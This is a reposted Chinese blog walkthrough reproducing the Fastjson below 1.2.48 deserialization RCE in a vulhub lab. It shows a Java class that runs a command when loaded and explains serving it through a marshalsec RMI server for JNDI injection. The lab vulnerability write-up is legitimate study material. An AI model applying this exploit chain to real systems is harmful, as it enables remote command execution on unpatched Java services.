首页 > Web开发 > 详细

Fastjson 1.2.47 远程命令执行漏洞

时间:2021-05-23 23:22:11      阅读:28      评论:0      收藏:0      [点我收藏+]

Fastjson 1.2.47 远程命令执行漏洞

Fastjson 1.2.47 远程命令执行漏洞

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。


漏洞环境

我们先下载环境,在github有别人直接搭建好的docker环境我们直接拿来用即可

git clone git://github.com/vulhub/vulhub.git
cd vulhub/fastjson/1.2.24-rce/
docker-compose up -d

访问IP:8090即可看到JSON格式的输出。

技术分享图片


影响版本

fastjson < 1.2.48


漏洞复现

因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令,由于fastjson1.2.24后做了白名单过滤,所以我们POC要做修改。

首先编译并上传命令执行代码,代码如下

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
  try {
      Runtime rt = Runtime.getRuntime();
      String[] commands = {"touch", "/tmp/EDI"};
      Process pc = rt.exec(commands);
      pc.waitFor();
  } catch (Exception e) {
      // do nothing
  }
}
}

放在一个能访问到的服务器上,我这边是用python开了一个

技术分享图片

技术分享图片

然后使用marshalsec项目启动一个RMI服务监听9999端口,并制定加载远程类TouchFile.class

我们先下载marshalsec,这个为网址:https://github.com/mbechler/marshalsec

然后使用maven编译marshalsec成jar包,我们先进入下载的marshalsec文件中运行

mvn clean package -DskipTests 编译

技术分享图片

发现生成jar包

技术分享图片

开启RMI服务

技术分享图片

利用特殊构造的json字符串绕过白名单检测,重新构造POC,执行命令

技术分享图片

python和RMI都监听到

技术分享图片

技术分享图片

去容器查看发现创建的EDI文件

技术分享图片

这里给大家排点坑,有时候会发现所有操作都一样但就是不能执行命令成功,这个可能是java版本的问题

由于jdk:8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,所以我们复现尽量用jdk:8u102 或以下版本,不然会复现失败

Fastjson 1.2.47 远程命令执行漏洞

原文:https://www.cnblogs.com/blankunbeaten/p/14802023.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!